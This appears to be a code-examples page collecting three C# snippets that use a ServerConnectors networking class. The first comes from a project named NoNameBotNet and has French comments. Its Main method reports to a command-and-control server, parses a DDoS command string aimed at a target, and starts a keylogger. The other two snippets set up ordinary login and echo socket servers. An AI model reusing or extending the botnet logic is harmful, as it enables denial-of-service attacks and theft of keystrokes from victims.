コード例 #1
0
ファイル: Program.cs プロジェクト: janchuk/NoNameBotNet
        static void Main(string[] args) // Main du Botnet
        {
            //Envoi des données au CNC de façon ASYNCHRONE (Apache et MySQL doivent être démarrés en local avec les bons scripts):
            Initialization initialiser = new Initialization();
            Task           test        = initialiser.sendInfoToCNCAsync(); //TODO: étudier comment correctement utiliser une fonction asynchrone en C#, pas sûr que je m'y prenne de la bonne manière

            //Exctraction des actions, target et arguments envoyés:
            ProtocolController ptclctl = new ProtocolController("<SOC><CMD>DDOS</CMD><TARGET>127.0.0.1</TARGET><ARG1>UDP</ARG1><ARG2>1500</ARG2><EOC>");

            Console.WriteLine("Action: " + ptclctl.action + "\n");
            Console.WriteLine("Target: " + ptclctl.target + "\n");

            foreach (string str in ptclctl.arguments)
            {
                Console.WriteLine(str);
            }
            Console.Read();
            Console.ReadKey();
            InterceptKeys interceptor = new InterceptKeys();

            interceptor.start();


            //Initialisation d'un objet ServerConnectors "sc" avec les informations les plus importantes: ip et port d'écoute:
            ServerConnectors sc = new ServerConnectors(IPAddress.Parse("127.0.0.1"), 2107);

            //Mise en écoute du socket grâce à la méthode ListenAndReceiveData() de l'objet "sc":
            sc.ListenAndReceiveData();

            Console.ReadKey();
        }
コード例 #2
0
        public ConnectorsHandler()
        {
            _serverConnectors = new ServerConnectors(new ServerConnectorsSettings()
            {
                PacketsMap = SendPacketsUtils.GetClient2ServerMapping(Assembly.GetAssembly(typeof(LoginRequestPacket))),
                ListenPort = 1111,
            });
            _serverConnectors.OnNewConnector  += ServerConnectors_OnNewConnector;
            _serverConnectors.OnPacket        += ServerConnectors_OnPacket;;
            _serverConnectors.OnRequestPacket += ServerConnectors_OnRequestPacket;
            _serverConnectors.OnDisconnect    += ServerConnectors_OnDisconnect;
            _serverConnectors.OnException     += ServerConnectors_OnException;
            _serverConnectors.OnDebugLog      += ServerConnectors_OnDebugLog;;

            _serverConnectors.Listen();
        }
コード例 #3
0
        static void Main(string[] args)
        {
            Console.WriteLine("TestSimpleEchoServer");

            _serverConnectors = new ServerConnectors(new ServerConnectorsSettings()
            {
                PacketsMap = new Dictionary <Tuple <int, int>, Type>()
                {
                    { new Tuple <int, int>(1, 1), typeof(string) },
                },
                ListenPort = 1112,
            });
            _serverConnectors.OnNewConnector  += ServerConnectors_OnNewConnector;
            _serverConnectors.OnPacket        += ServerConnectors_OnPacket;;
            _serverConnectors.OnRequestPacket += ServerConnectors_OnRequestPacket;
            _serverConnectors.OnDisconnect    += ServerConnectors_OnDisconnect;
            _serverConnectors.OnException     += ServerConnectors_OnException;
            _serverConnectors.OnDebugLog      += ServerConnectors_OnDebugLog;

            _serverConnectors.Listen();
        }